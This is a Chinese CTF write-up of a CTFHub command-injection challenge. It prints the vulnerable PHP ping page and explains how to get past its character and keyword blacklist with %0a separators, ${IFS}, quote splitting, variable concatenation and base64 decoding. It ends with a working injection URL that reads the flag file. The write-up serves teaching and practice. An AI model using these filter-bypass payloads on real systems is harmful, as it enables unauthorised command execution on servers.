CTFHUB 技能树-Web-RCE-综合过滤 wp

Posted by WuJ on March 4, 2020

题目考点

  • 命令执行绕过

解题思路

Xnip2020-03-05_20-57-49

​ 给了源码,发现过滤了 | & ; 空格 cat flag ctfhub

​ 如果输入上述符号或命令,只会回显其本身而不会被执行,需要一个个绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

命令分隔符

​ 因为 | 和 ; 被过滤,首先要想办法分隔命令,可以使用多种绕过方法,一般用换行即 %0a %0d 即可。当然,得抓包修改,直接敲在输入框里肯定不行。

Xnip2020-03-05_21-00-11

我们发现 flag_is_here 文件夹,下一步是想办法进去

绕过空格

方法很多,一般可以使用 ${IFS},更多请参考谷歌

绕过黑名单

  1. 拼接绕过

    1
    2
    3
    
    ~$ echo "hello world" > flag
    ~$ a=c;b=at;c=flag;$a$b $c
    hello world
    
  2. 单双引号

    1
    2
    
    ~$ c''at f''lag
    hello world
    
  3. base64绕过

    1
    2
    
    ~$ `echo "Y2F0IGZsYWc="|base64 -d`
    hello world
    

    Xnip2020-03-05_21-10-57

    找到 flag 文件,运用上述知识继续读 flag

    1
    
    /?ip=%0acd${IFS}f''lag_is_here%0ac''at${IFS}f''lag_244281822710491.php
    

Xnip2020-03-05_21-12-30